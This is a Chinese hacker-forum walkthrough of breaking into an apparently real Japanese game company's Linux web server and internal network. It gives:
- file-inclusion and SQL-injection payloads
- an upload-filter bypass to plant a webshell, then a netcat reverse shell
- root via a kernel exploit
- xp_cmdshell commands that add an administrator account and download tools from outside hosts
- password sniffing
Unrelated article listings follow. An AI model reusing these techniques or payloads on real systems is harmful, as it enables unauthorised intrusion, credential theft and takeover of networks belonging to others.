linkboy
linkboy

入侵日本某官方Game

作者：randy
来源：火狐技术联盟

目标:JP

类型:某官Game

服务器 linux

网络环境:20.*.*.*内网组成.路由映射端口.

本文只是给思路.难免有错大家谅解 希望大家能耐心看完.本人只是鸟一只.
=============国界===============

好了废话少说开始.站的URL我就拿www.test.com代替.本来想让大家都体会一下.可惜狐狸窝不能发真实地址.
拿到了站大概看了一下.PHP LINUX APACHE MYSQL组成.貌似还有一处用了一个让我无法决定的数据库.首先我们从
整个站的结构开始了解. 拿出WWWSCAN 由于我经常检测国外的站我收集了很多敏感的目录文件等等 当然软件作者
也收集了许多有用的.结果返回大概目录有
/admin/
/config/
/news/
/news/newadmin/
/news/newadmin/test.php
/admin/test.php/info.php
省略..
有用的就这些.因为我最想要的就是后台.至少有了管理员的USER&pASS有了能用的地方.
admin目录访问提示403 newadmin出来一个登录页.丫的开心.请出GOOGLE.
site:test.com inurl:php
site:test.com admin
site:test.com login
site:test.com filetype:php | asp | jsp | aspx | jsp | 由于是想看看其他子站有没有WIN系统.这样好插手.结果只有PHP 而且子站大多都是有HTML组成的
搜到这些大概得到了些信息.大概看到了网站组成脚本的名称 心里感觉可疑的可以注的点.还有一些比较少见的页面.大家SEACH下会有这样的感觉的
打开工具箱.有个FUCKGOOGLE.exe 可以搜集所有GOOGLE搜到的URL 做成一个HTML给你.然后很多链接.大家可以在AD注入工具里打开这个页面让AD扫.
就算AD不是注MYSQL的.至少也分的清楚AND 1=1 和AND 1=2的区别.在AD放了10分钟后看了下结果.没啥好玩的...放弃GOOGLE.{注:这其中大家一定得耐心的观察}
好了没戏了.既然ADMIN目录403就从他那开始下手.随便猜了几个登录页面.RP问题没出来.在WWWSCAN跑了一下 啥都木有..汗. 放弃...
新闻系统啊 新闻系统..你咋就是个新闻系统咧.后台至少可以让我用溯雪跑一下.就算不科学 也碰碰运气... 跑完了没戏 {注:当然在这过程中你可以做其他的)
有了后台我怕 就是认证的问题.到处找点.一直都没找到.有个VOTE.进去看了一下...谁谁谁 %xx. GET了' 出错了.PHP送给我路径. and 1=2 返回结果正常.和1=1没啥区别.汗.再来
/**/and/**/1=2 还是一样 大家当我在放屁吧.放弃 继续找.... 找啊找..突然看到了个这么个URL read4.php?files=include/hellokitty.html 这么个连接. 去掉hellokitty.html PHP提示
Warning: Smarty error: unable to read resource: "include" in in /home/httpd/html/libs/test.php on line 1095
嘿嘿 爽了.接着我随便找了一个他们站的图片 提交 read4.php?files=../img/bar_logo.jpg 嘎嘎. 返回的结果是?JFIFddDucky<Adobed 省略....
好继续.提交read4.php?files=../read4.php 返回
<?
require '../libs/xxxx******(假的).php';
include 'sqlfunc_csm2.inc';
session_start();
.....省略
有进展继续.提交read4.php?files=../sqlfunc_csm2.inc
拿到的当然是MYSQL USER&pASS啦.前提不是ROOT.
好了.虽然没找到点至少找到了一个另类的load_file.不管3721继续攻击!!!
read4.php?files=../../../../../etc/passwd
当然出来咯.找了几个有/BIN/BASH的用户 用MYSQL的密码去尝试SSH结果失败.
不急.再来.我们必须得找到点.花了一个小时的功夫....
还是没找到点.无奈之下用MAXTHON查看源代码.就是表单啦.搜索php 啊.无意中搜到一个很奇怪的页面我在GOOGLE中也没见过 好像是调用的吧.无聊
具体是../dj?msb=908 好家伙打开它...返回让我一滴汗落下来...就出来个3456.最后我才发现这个页面为了统计用户访问的次数.
加了个'出错了. 1=2 1=1. ^_^ 功夫不负有心人. 我注我注我注.我直接注死.
and 1=2/**/union/**/select/**/1,2
好了 返回正常...
and 1=2/**/union/**/select/**/1,user()
返回刚才我暴出来的MYSQL.有些朋友就问了.你都拿到MYSQL密码了.你怎么还不去连人家数据INTO FILE呢?大哥我希望您看清楚.上面我说的结果20.*.*.* 影射..多的废话我不想说.
and 1=2/**/union/**/select/**/1,database()
没错喔.出来的和暴出来的库一样.看你丫的我咋玩你.万事齐全.就是管理员帐号和密码了.
问题来了.表名....这个简单啦.用刚才暴文件的方法去暴login.php或它所POST的文件就可以找到表明了.大家懂我意思吧.继续注
and 1=2/**/union/**/select/**/news_admin,news_password/**/from/**/administrator55991 (BT吧 管理员很有意识)
暴出来了.密码是BASE64 大家可以到http://makcoder.sourceforge.net/demo/base64.php 来解开.或者用CAIN的附加功能.或者一会我给大家发个编码工具非常好用.
好了.拿到帐号密码了.进入后台.编辑新闻和发布新闻.其他的说了浪费时间.当然有上传功能啦.乐呵呵的上传个php. ...
.....
神啊救救我吧.我都够麻烦了..
必须上传JPG或GIF.我砸电脑的念头都有了...
稳定稳定..继续...先找了一个真正的图片.后缀改成.fuck 上传!! 提示成功.看了下上传的后辍.没错.是.fuck.
娘地.原来破东西只检测GIF头.再来.在C99头上加个GIF头GIF89a 上传!!!!
失败!!!!!!!!!!!!!!!!!!!!!
稳定下..传了个加GIF头的JSP和CGI.上传成功 不过人家服务器不解析.
一根烟 出去呼吸一下新鲜空气.突然抽烟的时候灵光一闪...对了!!!
上传后缀为.pHP带GIF头的马儿...哇塞!!!! 成功咧.爽.{注意大家看清楚.PHP Php pHp等等的组合方式 具体原理我就不解释了.各位牛都都知道.速破黑(SUPERHEI)的文章有写
输入密码进入WEBSHELL...既然进来了.我们就搞个顶翻天.
这感觉真好啊.555555.进来以后上传个NSTVIEW.php 进入TOOLS选项. 有个BACKDOOR. 本机执行nc -vvlp 520
点下Start 回来了个SHELL. 好开始提权.拿到肉特....
提交id
nobody.
提交uname -a
废话 不然APACHE白做APACHE啊 白痴!!! -.-
linux 2.4.20 xxxxxxx
其实这中间也很巧合.可能运气好吧.我用brk.c 成功提到肉特...
brk.c 大家可以去www.milw0rm.com seach下...
开始提权...
$gcc brk.c -o brk
$./brk
.....省略....
#sh.x.x
好了.继续.
nmap -v -sS 20.1.0.1/16
返回一大堆.有一台WIN机器.大概是2K.LINUX使上不舒服.先搞定他吧.
开了139 445 1433 3389 5900
#netstat -an
发现这台机器还连接着那台2K的1433 狂喜...
记得前面的ADMIN目录吗?403那个...我大概看了下那个目录的文件仔细观察看.include sql.php 紧张的打开sql.php 哇/se/se/se 运气实在好的不行了..
是SA喔.但是问题又来了...APACHE+LINUX不支持MSSQL啊.我又是菜鸟一只.又不会写PHP... GOOGLE了下搜到了好东西
freetds. LINUX管理MSSQL的工具. 赶快下载下来安装
# wget http://xx.xx.com/freetds.tar.gz
# tar -zxvf freetds.tar.gz
# cd freetd./configure --prefix=/usr/local/freetds --with-tdsver=7.0
#gmake (生成Makefile，我试验过，make也可以)
#gmake install (安装)
OK了.继续
#cd bin
#./tsql -h 20.1.0.9 -p 1433 -U sa -P XXXX98#4 登录成功后会出现>
>exec master.dbo.xp_cmdshell net user Randy xxxxx /add
>exec master.dbo.xp_cmdshell net localgroup administrators Randy /add
>exec master.dbo.xp_cmdshell ftp 12.12.12.12 | "Randy" | "121212"|"get down.exe"|"bye"| 我就省略的写了...具体是那个FTP的BAT.大家都知道吧.
>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.exe VIDC大家都会配置吧.
>exec master.dbo.xp_cmdshell down.exe http://www.xx.com/vidc.ini
>exec master.dbo.xp_cmdshell vidc.exe (执行之前 本地执行 vidc.exe -p 7777
>exit

好了.VIDC的端口也映射过来了.链接本地的127.0.0.1:7777 进到终端.安装CAIN 开始SNIFF.
那服务器也没人管.1天半后.嗅到了SSH的密码.ROOT $*2323****
全段都是相同帐号密码.就这一台WIN. 就这样网关帐号密码.SSH 等等 更别提数据库了.全让我干了顶朝天...


 

你可能感兴趣的:(职场,game,官方,日本,休闲)

  • 大数据论文_02_MapReduce(个人总结) hellosrc2023 大数据hadoop大数据
    声明:1.本文为我的个人复习总结,并非那种从零基础开始普及知识内容详细全面,言辞官方的文章2.由于是个人总结,所以用最精简的话语来写文章3.若有错误不当之处,请指出MapReduce目的:让开发人员意识不到分布式的存在架构:Master(JobTracker)Worker(TaskTracker:MapTask,ReduceTask)三个问题:简单易用:只有Map和Reduce,增加机器数量即可提
  • 2025最新华为OD机试，华为OD机试备考攻略，独家整理总结上岸技巧（Python/JS/C/C++） 哪 吒 华为odpythonjavascript
    专栏导读本专栏收录于《华为OD机试真题（Python/JS/C/C++）》。刷的越多，抽中的概率越大，私信哪吒，备注华为OD，加入华为OD刷题交流群，每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景，发现新题目，随时更新。2024年8月14日，华为官方已经将华为OD机试（D卷）切换为E卷。目前正在考的是E卷，按照华为OD往常的操作，E卷题目是由往
  • 华为OD机试题库清单以及考点说明，2025.3.16切换2025A卷 哪 吒 搬砖工逆袭Java架构师华为odjava华为OD机试集训2025A卷
    专栏导读本专栏收录于《华为OD机试（JAVA）真题（E卷+D卷+A卷+B卷+C卷）》。刷的越多，抽中的概率越大，私信哪吒，备注华为OD，加入华为OD刷题交流群，每一题都有详细的答题思路、详细的代码注释、3个测试用例、为什么这道题采用XX算法、XX算法的适用场景，发现新题目，随时更新，全天CSDN在线答疑。2025年3月16日，华为官方已经将华为OD机试（E卷）切换为A卷。目前正在考的是A卷，按照华
  • 探索职场新路径：探星AI研习社，你的职场加速器 汐(❁´◡`❁)*✲ﾟ* 人工智能自然语言处理深度学习目标检测数据挖掘神经网络语言模型
    在当今竞争激烈的职场环境中，如何快速提升自己的竞争力，成为许多职场人关注的焦点。随着人工智能技术的飞速发展，掌握AI相关技能已经成为职场晋升的关键。今天，我们来聊聊一个能够帮助职场人快速成长的平台——探星AI研习社。职场竞争：AI技能为何如此重要？随着AI技术在各行各业的广泛应用，无论是数据分析、自动化办公，还是智能决策支持，AI已经成为现代职场的必备工具。根据2023年全球职场趋势报告，超过70
  • 虾皮Shopee商品信息采集
    Shopee（虾皮）是东南亚流行的电商平台，很多商家和开发者对其商品详情数据感兴趣。采集Shopee商品详情数据（特别是按商品ID获取），常用方法是Shopee的API接口或爬虫技术。不过，直接爬取数据可能涉及版权、隐私和平台使用条款问题，采集前要确保行为合规。使用Shopee官方API：这是最推荐的方法。通过官方API，开发者可以合法、安全地获取商品详情数据，同时享受API提供的其他便利，如数据
  • 优化 WebAssembly 中的 Game of Life Hello.Reader 前端技术rustwasm
    一、为什么要做时间剖析？在开发过程中，我们往往会对某个环节的性能有先入为主的猜想。然而，只有通过剖析工具才能发现真正的性能瓶颈。本文中，我们首先用浏览器内置工具和Rust的consoleAPI对关键代码进行剖析，然后再据此优化。二、利用window.performance.now实现FPS计时器为了实时观察渲染性能，我们在JavaScript端添加了一个FPS计时器。具体实现思路如下：在index
  • npm配置华为云镜像 npm
    npm镜像的概念和作用npm镜像是一种用于加速npm包安装的服务，通过在国内或本地部署的镜像服务器来缓存和分发npm包，从而减少从国外官方npm仓库下载的时间，提高安装速度。华为云提供的npm镜像地址华为云提供的npm镜像地址为：https://mirrors.huaweicloud.com/repository/npm/。配置npm以使用华为镜像通过运行以下命令来配置npm使用华为镜像：http
  • 手把手教你华为鸿蒙开发之第三节
    华为鸿蒙开发基础第三节：一元运算符、比较运算符、逻辑运算符及运算符优先级引言在华为鸿蒙操作系统的开发中，DevEcoStudio是官方推荐的集成开发环境（IDE），它提供了代码编写、调试、打包和签名等一系列开发功能。本文将结合DevEcoStudio，详细介绍鸿蒙应用开发中常用的一元运算符、比较运算符、逻辑运算符以及运算符的优先级，帮助开发者更好地理解和使用这些基础概念。一元运算符一元运算符只对一
  • python俄罗斯方块代码idle_Python使用pygame模块编写俄罗斯方块游戏的代码实例 程绵羊
    文章先介绍了关于俄罗斯方块游戏的几个术语。边框——由10*20个空格组成，方块就落在这里面。盒子——组成方块的其中小方块，是组成方块的基本单元。方块——从边框顶掉下的东西，游戏者可以翻转和改变位置。每个方块由4个盒子组成。形状——不同类型的方块。这里形状的名字被叫做T,S,Z,J,L,I,O。如下图所示：模版——用一个列表存放形状被翻转后的所有可能样式。全部存放在变量里，变量名字如S_SHAPE_
  • Pygame学习笔记 7 —— Sprite精灵 我有两颗糖 pygamepygamepython游戏开发
      这次我们来讲一个非常实用的模块：sprite模块，它可以用来处理含有多个对象的整体，比如一堆子弹和一堆俄罗斯方块，使用sprite模块不仅可以简化控制的复杂度，也可以利用它的函数来简化实现方法。主要内容：Sprite类的继承、Group类、检测精灵的碰撞、应用一、Sprite类的继承sprite类：类的定义classSprite(object):def__init__(self,*groups
  • 「Unity3D」使用Il2CppSetOption优化IL2CPP生成C++代码的性能 scott.cgi Unity3DUnityIl2CppSetOptionIL2CPPIL2CPP优化Unity优化C++
    使用IL2CPP生成C++代码，有三个检查项可选，即：Nullchecks（空值检查）、Arrayboundschecks（数组越界检查）、Dividebyzerochecks（除数为0检查）——其中，前两个是默认开启的，后一个是默认关闭的。显然，运行时可以全部给关闭了，不需要每帧各个对象检查空值与越界。方法是，需要一个Il2CppSetOption.cs文件——在Unity的安装目录下官方提供：
  • Ubuntu系统Docker安装失败 leo·li Dockerubuntu
    问题：1.删除错误的Docker源sudorm-rf/etc/apt/sources.list.d/docker.listsudorm-rf/etc/apt/keyrings/docker.gpg2.重新添加Docker官方GPG密钥​sudomkdir-p/etc/apt/keyringscurl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|
  • flutter基础 --dart语法学习 蓝胖子不是胖子 flutter学习
    由于想要写一款性能较好,但是又可以一套代码多个平台运行的客户端app,所以选择了flutter就去看了官方文档,大体发现flutter使用的dart语言和java和js差不多,感觉就是缝合怪。Dart是一种面向对象的编程语言，语法上与Java、JavaScript等语言有一些相似之处，因此对于有Java基础的开发者，Dart的语法应该相对容易理解。以下是Dart语言的语法介绍，特别对比了与Java
  • 手机像素查看全攻略，让你秒懂手机拍照实力 仙女很美哦 httpudphttpswebsocket网络安全网络协议tcp/ip
    家人们，如今咱出门在外，手机就是咱记录生活的"神器"。无论是壮丽的风景、温馨的聚会，还是自己美美的自拍，都得靠手机相机。这时候，手机像素就显得格外重要啦，它直接决定了拍出来的照片是清晰动人，还是模糊不清。可好多朋友都不太清楚怎么看手机像素，今天就来给大伙详细讲讲，让你轻松了解自家手机的拍照实力。一、查看手机官方参数品牌官网查询：每个手机品牌都有自己的官方网站，上面详细记录了旗下各款手机的参数信息，
  • 使用Python安装和配置Selenium 创新梦想无限 pythonselenium开发语言Python
    Selenium是一个强大的自动化测试工具，可以用于模拟人类对网页的交互操作。本文将介绍如何在Python中安装和配置Selenium，并提供相应的源代码。安装Python首先，确保你的计算机上已经安装了Python。你可以从Python官方网站（https://www.python.org）下载最新的Python版本，并按照安装向导进行安装。安装Selenium库打开命令行终端，并使用以下命令安
  • DeepSeek满血版大赏：官方得了“MVP”，第三方是“躺赢狗”？ 人工智能deepseek
    一、DeepSeek得了“MVP”！第三方AI平台是“躺赢狗”？DeepSeek得了MVP，第三方AI平台全是躺赢狗！这可不是乱说——DeepSeek开源了R1（6710亿参数）和V3（2360亿参数）两大满血版模型，让无数AI平台直接“白嫖”顶级技术，瞬间提升自家AI智商，这波操作，堪称“官方带飞，第三方躺赚”。不过，玩笑归玩笑，DeepSeek开源这一招，其实对DeepSeek自己也有很大好处
  • Python-Django入手 Alfadi联盟 萧瑶 Pythonpythondjango开发语言
    18.1建立项目18.1.1制定规范-定义项目目标：明确应用的核心功能-创建项目文档：用README.md记录技术栈和开发流程-规划目录结构：建议遵循Django官方推荐的项目布局18.1.2建立虚拟环境在命令行执行：python-mvenvll_env说明：-venv是Python内置虚拟环境模块-ll_env是自定义环境名称，隔离项目依赖18.1.3激活虚拟环境Windows系统：ll_env
  • LeetCode 438. 找到字符串中所有字母的异位词 YGGP 程序设计算法leetcode算法golang
    438.找到字符串中所有字母的异位词题目描述给定两个字符串s和p，找到s中所有p的异位词的子串，返回这些子串的起始索引。不考虑答案输出的顺序。输入输出示例及数据范围思路这道题的思路其实很简单，就是一个滑动窗口的裸题，但是LeetCode官方题解当中给出的Golang解法非常适合学习，因此通过本篇文章进行记录。具体来说，Golang与C++不同，Golang的slice不能比较，因为slice是引用
  • python venv虚拟环境设置 blackhole33 python开发语言
    venv模块venv是Python标准库的一部分，从Python3.3版本开始引入。它是创建虚拟环境的官方推荐方式。一、创建虚拟环境打开终端（在Windows上是命令提示符或PowerShell，在MacOS或Linux上是终端）导航到你想创建虚拟环境的目录。运行以下命令来创建虚拟环境：python-mvenv.venv二、激活虚拟环境1.Windows系统，在虚拟环境的目录运行以下命令来激活虚拟
  • 太香了！快速集成DeepSeek能力的开源方案 go后端deepseek
    如果你正在寻找快速集成DeepSeek能力的开源方案，这个由官方维护的awesome-deepseek-integration项目绝对值得收藏！项目核心定位•官方背书：DeepSeek团队直接维护，GitHub已斩获27k+Star，资源权威且持续更新。•一站式整合：覆盖开发、部署、应用全链路，降低开发者探索成本。•生态丰富性：从底层框架到终端插件，满足不同场景需求。核心模块1.AIAgent开发
  • 使用 Python 和 Pygame 库实现的俄罗斯方块游戏 俄罗斯方块
    这个代码实现了一个简单的俄罗斯方块游戏。你可以将其保存为.py文件并运行，需要确保你已经安装了Pygame库。运行代码后，会弹出一个窗口，你可以使用方向键来控制方块的移动和旋转。importpygameimportrandom#初始化Pygamepygame.init()#定义常量WIDTH=300HEIGHT=600BLOCK_SIZE=30BOARD_WIDTH=WIDTH//BLOCK_SI
  • Kotlin 中那些无法复现的 Java 写法 ForteScarlet KTips水文罢了javakotlin开发语言androidjetbrains
    大家吼哇！了解Kotlin的朋友们都知道，Kotlin对Java是100%兼容的，正如官方所说。可即便如此，这就代表Java中所有的写法就都能在Kotlin中复现出来吗？倒也未必。今天我就来简单盘点一些我发现的那些在Kotlin中无法复现出来的Java写法。泛型异常众所周知，Java中有一个争议多年的东西：throws。当它在函数后面声明了若干受检异常后，它便会向外传播，直到被捕获。在Java中，
  • npm、yarn、pnpm 最新国内镜像源设置和常见问题解决 SHENHUANJIE Node.jsnpmpnpmyarn
    1.npm设置国内镜像源1.1镜像源概述镜像源是软件包管理工具用来下载和安装软件包的服务器地址。由于网络原因，直接使用官方源可能会导致速度慢或连接失败的问题。国内镜像源可以提供更快的访问速度和更稳定的连接。1.2镜像源的选择国内有许多可用的npm镜像源，包括但不限于淘宝镜像、腾讯云镜像、cnpm等。这些镜像源通常会同步官方npm源的包，但可能会有一些延迟。1.2.1淘宝镜像淘宝镜像源是目前国内使用
  • 什么是AI大模型?常见的AI大模型有哪些? AI产品经理 人工智能机器学习深度学习自然语言处理gpt
    什么是AI大模型？在人工智能领域，"AI大模型"的官方概念通常指的是具有大量参数的机器学习模型，这些模型能够捕捉和学习数据中的复杂模式。参数是模型中的变量，它们在训练过程中不断调整，以便模型能够更准确地进行预测或分类任务。AI大模型通常具有以下特点：高参数量：AI大模型含有数百万甚至数十亿的参数，这使得它们能够学习和记忆大量信息。深度学习架构：它们通常基于深度学习架构，如卷积神经网络（CNNs）用
  • 一个华科大差生的12年程序员工作总结 _findyi 互联网程序员职场认知程序人生
    是的，这个差生说的就是洋哥本洋，高考结束以后，随着毕业季的到来，也来了很多大学生和刚工作没多久的读者。很多新读者问洋哥，让我指导下程序员的职场怎么发展、如何把工作做得更好，回答的多了，想着还不如写一篇自己整个职场的成长经历，或许对大家有一些价值。全文较长，大约4000字，需要一点点耐心去阅读：1.毕业的选择大学时期我是个彻头彻尾的学渣，大一大二都沉迷于游戏中，曾经住网吧17天，挂科无数，我也写了篇
  • CSDN专栏投稿:模式探讨带赚计划导师团队’的人生哲学 2501_91456791 算法
    在这个纷繁复杂的世界里，学习已成为我们生活中不可或缺的一部分。它不仅是一种获取知识的方式，更是一种提升自我的旅程。我常常思索，学习的意义究竟何在？是应对考试的压力？是追求职场的竞争力？还是渴望更丰富的人生？经过一段时间的思考与实践，我愈发意识到，学习的广泛性远超过我之前的理解。首先，学习是一扇通向世界的窗户。我们通过学习，得以了解不同的文化、思想和智慧。在这信息爆炸的时代，各类知识层出不穷，每一个
  • MoCap 动作捕捉开源库教程 kuan_li_lyg 人形机器人控制与仿真机器人人工智能自动驾驶matlab开发语言
    系列文章目录前言一、motion_capture_tracking该资源库是一个ROS2软件包，可接收来自各种运动捕捉系统的数据：VICONQualisysOptiTrackVRPNNOKOVFZMotionMotionAnalysis对于大多数系统，有三种不同的跟踪模式可供选择：通过官方软件（如ViconTracker）使用独特的标记排列跟踪刚体姿势。通过自定义坐标系跟踪刚体姿势，使用相同的标记
  • 算法每日一练 (19) 张翊尘 算法每日一练算法数据结构
    欢迎来到张翊尘的技术站技术如江河，汇聚众志成。代码似星辰，照亮行征程。开源精神长，传承永不忘。携手共前行，未来更辉煌文章目录算法每日一练(19)不同路径题目描述解题思路解题代码`c/c++``golang``lua`官方站点：力扣Leetcode算法每日一练(19)不同路径题目地址：不同路径题目描述一个机器人位于一个mxn网格的左上角（起始点在下图中标记为“Start”）。机器人每次只能向下或者向
  • 算法每日一练 (20) 张翊尘 算法每日一练算法数据结构
    欢迎来到张翊尘的技术站技术如江河，汇聚众志成。代码似星辰，照亮行征程。开源精神长，传承永不忘。携手共前行，未来更辉煌文章目录算法每日一练(20)不同路径II题目描述解题思路解题代码`c/c++``golang``lua`官方站点：力扣Leetcode算法每日一练(20)不同路径II题目地址：不同路径II题目描述给定一个mxn的整数数组grid。一个机器人初始位于左上角（即grid[0][0]）。机
  • DSP280039芯片CANFD功能开发笔记 兄弟李德胜 dsp开发c语言
    之前进行写过DSP280049代码迁移280039的文章。可以直接点击这里回顾一下DSP280049代码迁移DSP280039注意事项现在要基于280039进行CANFD开发。280039芯片比280049突出的一点就是增加了CANFD的支持，原有CAN的port口上映射为CANFD。要配CANFD使用的是MCAN。在官方发布的软件包上有收发测试用例。值得注意的是官方实例使用的是直接读写MCAN寄
  • java Illegal overloaded getter method with ambiguous type for propert的解决 zwllxs javajdk
    好久不来iteye,今天又来看看，哈哈,今天碰到在编码时，反射中会抛出 Illegal overloaded getter method with ambiguous type for propert这么个东东，从字面意思看，是反射在获取getter时迷惑了，然后回想起java在boolean值在生成getter时，分别有is和getter，也许我们的反射对象中就有is开头的方法迷惑了jdk，
  • IT人应当知道的10个行业小内幕 beijingjava 工作互联网
    10. 虽然IT业的薪酬比其他很多行业要好，但有公司因此视你为其“佣人”。 　　尽管IT人士的薪水没有互联网泡沫之前要好，但和其他行业人士比较，IT人的薪资还算好点。在接下的几十年中，科技在商业和社会发展中所占分量会一直增加，所以我们完全有理由相信，IT专业人才的需求量也不会减少。 　　然而，正因为IT人士的薪水普遍较高，所以有些公司认为给了你这么多钱，就把你看成是公司的“佣人”，拥有你的支配
  • java 实现自定义链表 CrazyMizzz java数据结构
    1.链表结构   链表是链式的结构 2.链表的组成    链表是由头节点，中间节点和尾节点组成    节点是由两个部分组成：       1.数据域       2.引用域 3.链表的实现 &nbs
  • web项目发布到服务器后图片过一会儿消失 麦田的设计者 struts2上传图片永久保存
      作为一名学习了android和j2ee的程序员，我们必须要意识到，客服端和服务器端的交互是很有必要的，比如你用eclipse写了一个web工程，并且发布到了服务器（tomcat）上，这时你在webapps目录下看到了你发布的web工程，你可以打开电脑的浏览器输入http://localhost:8080/工程/路径访问里面的资源。但是，有时你会突然的发现之前用struts2上传的图片
  • CodeIgniter框架Cart类 name 不能设置中文的解决方法 IT独行者 CodeIgniterCart框架　
    今天试用了一下CodeIgniter的Cart类时遇到了个小问题，发现当name的值为中文时，就写入不了session。在这里特别提醒一下。 在CI手册里也有说明，如下： $data = array( 'id' => 'sku_123ABC', 'qty' => 1, '
  • linux回收站 _wy_ linux回收站
    今天一不小心在ubuntu下把一个文件移动到了回收站，我并不想删，手误了。我急忙到Nautilus下的回收站中准备恢复它，但是里面居然什么都没有。     后来我发现这是由于我删文件的地方不在HOME所在的分区，而是在另一个独立的Linux分区下，这是我专门用于开发的分区。而我删除的东东在分区根目录下的.Trash-1000/file目录下，相关的删除信息（删除时间和文件所在
  • jquery回到页面顶端 知了ing htmljquerycss
    html代码： <h1 id="anchor">页面标题</h1> <div id="container">页面内容</div> <p><a href="#anchor" class="topLink">回到顶端</a><
  • B树、B-树、B+树、B*树 矮蛋蛋 B树
    原文地址： http://www.cnblogs.com/oldhorse/archive/2009/11/16/1604009.html B树        即二叉搜索树：        1.所有非叶子结点至多拥有两个儿子（Left和Right）； &nb
  • 数据库连接池 alafqq 数据库连接池
    http://www.cnblogs.com/xdp-gacl/p/4002804.html @Anthor:孤傲苍狼 数据库连接池 用MySQLv5版本的数据库驱动没有问题，使用MySQLv6和Oracle的数据库驱动时候报如下错误： java.lang.ClassCastException: $Proxy0 cannot be cast to java.sql.Connec
  • java泛型 百合不是茶 java泛型
    泛型 在Java SE 1.5之前，没有泛型的情况的下，通过对类型Object的引用来实现参数的“任意化”，任意化的缺点就是要实行强制转换，这种强制转换可能会带来不安全的隐患   泛型的特点：消除强制转换 确保类型安全 向后兼容   简单泛型的定义：      泛型：就是在类中将其模糊化，在创建对象的时候再具体定义 class fan
  • javascript闭包[两个小测试例子] bijian1013 JavaScriptJavaScript
    一.程序一 <script> var name = "The Window"; var Object_a = { 　　name : "My Object", 　　getNameFunc : function(){ var that = this; 　　　　return function(){ 　　　　
  • 探索JUnit4扩展：假设机制（Assumption） bijian1013 javaAssumptionJUnit单元测试
    一.假设机制（Assumption）概述        理想情况下，写测试用例的开发人员可以明确的知道所有导致他们所写的测试用例不通过的地方，但是有的时候，这些导致测试用例不通过的地方并不是很容易的被发现，可能隐藏得很深，从而导致开发人员在写测试用例时很难预测到这些因素，而且往往这些因素并不是开发人员当初设计测试用例时真正目的，
  • 【Gson四】范型POJO的反序列化 bit1129 POJO
    在下面这个例子中，POJO(Data类)是一个范型类，在Tests中，指定范型类为PieceData，POJO初始化完成后，通过 String str = new Gson().toJson(data); 得到范型化的POJO序列化得到的JSON串，然后将这个JSON串反序列化为POJO   import com.google.gson.Gson; import java.
  • 【Spark八十五】Spark Streaming分析结果落地到MySQL bit1129 Stream
    几点总结： 1. DStream.foreachRDD是一个Output Operation，类似于RDD的action，会触发Job的提交。DStream.foreachRDD是数据落地很常用的方法 2. 获取MySQL Connection的操作应该放在foreachRDD的参数（是一个RDD[T]=>Unit的函数类型)，这样，当foreachRDD方法在每个Worker上执行时，
  • NGINX + LUA实现复杂的控制 ronin47 nginx lua
    安装lua_nginx_module 模块 lua_nginx_module 可以一步步的安装，也可以直接用淘宝的OpenResty Centos和debian的安装就简单了。。 这里说下freebsd的安装： fetch http://www.lua.org/ftp/lua-5.1.4.tar.gz tar zxvf lua-5.1.4.tar.gz cd lua-5.1.4 ma
  • java-递归判断数组是否升序 bylijinnan java
    public class IsAccendListRecursive { /*递归判断数组是否升序 * if a Integer array is ascending,return true * use recursion */ public static void main(String[] args){ IsAccendListRecursiv
  • Netty源码学习-DefaultChannelPipeline2 bylijinnan javanetty
    Netty3的API http://docs.jboss.org/netty/3.2/api/org/jboss/netty/channel/ChannelPipeline.html 里面提到ChannelPipeline的一个“pitfall”： 如果ChannelPipeline只有一个handler（假设为handlerA）且希望用另一handler（假设为handlerB） 来
  • Java工具之JPS chinrui java
    JPS使用     熟悉Linux的朋友们都知道，Linux下有一个常用的命令叫做ps（Process Status)，是用来查看Linux环境下进程信息的。同样的，在Java Virtual Machine里面也提供了类似的工具供广大Java开发人员使用，它就是jps（Java Process Status)，它可以用来
  • window.print分页打印 ctrain window
    function init() { var tt = document.getElementById("tt"); var childNodes = tt.childNodes[0].childNodes; var level = 0; for (var i = 0; i < childNodes.length; i++) {
  • 安装hadoop时 执行jps命令Error occurred during initialization of VM daizj jdkhadoopjps
    在安装hadoop时，执行JPS出现下面错误   [slave16]root@192.168.11.10:/tmp/hsperfdata_hdfs# jps Error occurred during initialization of VM java.lang.Error: Properties init: Could not determine current working
  • PHP开发大型项目的一点经验 dcj3sjt126com PHP重构
    一、变量 最好是把所有的变量存储在一个数组中，这样在程序的开发中可以带来很多的方便，特别是当程序很大的时候。变量的命名就当适合自己的习惯，不管是用拼音还是英语，至少应当有一定的意义，以便适合记忆。变量的命名尽量规范化，不要与PHP中的关键字相冲突。 二、函数 PHP自带了很多函数，这给我们程序的编写带来了很多的方便。当然，在大型程序中我们往往自己要定义许多个函数，几十
  • android笔记之--向网络发送GET/POST请求参数 dcj3sjt126com android
    使用GET方法发送请求 private static boolean sendGETRequest (String path, Map<String, String> params) throws Exception{ //发送地http://192.168.100.91:8080/videoServi
  • linux复习笔记 之bash shell (3) 通配符 eksliang linux 通配符linux通配符
    转载请出自出处： http://eksliang.iteye.com/blog/2104387 在bash的操作环境中有一个非常有用的功能，那就是通配符。 下面列出一些常用的通配符，如下表所示 符号 意义 * 万用字符，代表0个到无穷个任意字符 ? 万用字符，代表一定有一个任意字符 [] 代表一定有一个在中括号内的字符。例如：[abcd]代表一定有一个字符，可能是a、b、c
  • Android关于短信加密 gqdy365 android
    关于Android短信加密功能，我初步了解的如下（只在Android应用层试验）：     1、因为Android有短信收发接口，可以调用接口完成短信收发；         发送过程：APP（基于短信应用修改）接受用户输入号码、内容——>APP对短信内容加密——>调用短信发送方法Sm
  • asp.net在网站根目录下创建文件夹 hvt .netC#hovertreeasp.netWeb Forms
    假设要在asp.net网站的根目录下建立文件夹hovertree,C#代码如下： string m_keleyiFolderName = Server.MapPath("/hovertree"); if (Directory.Exists(m_keleyiFolderName)) { //文件夹已经存在 return; } else { try { D
  • 一个合格的程序员应该读过哪些书 justjavac 程序员书籍
    编者按：2008年8月4日，StackOverflow 网友 Bert F 发帖提问：哪本最具影响力的书，是每个程序员都应该读的？ “如果能时光倒流，回到过去，作为一个开发人员，你可以告诉自己在职业生涯初期应该读一本， 你会选择哪本书呢？我希望这个书单列表内容丰富，可以涵盖很多东西。” 很多程序员响应，他们在推荐时也写下自己的评语。 以前就有国内网友介绍这个程序员书单，不过都是推荐数
  • 单实例实践 跑龙套_az 单例
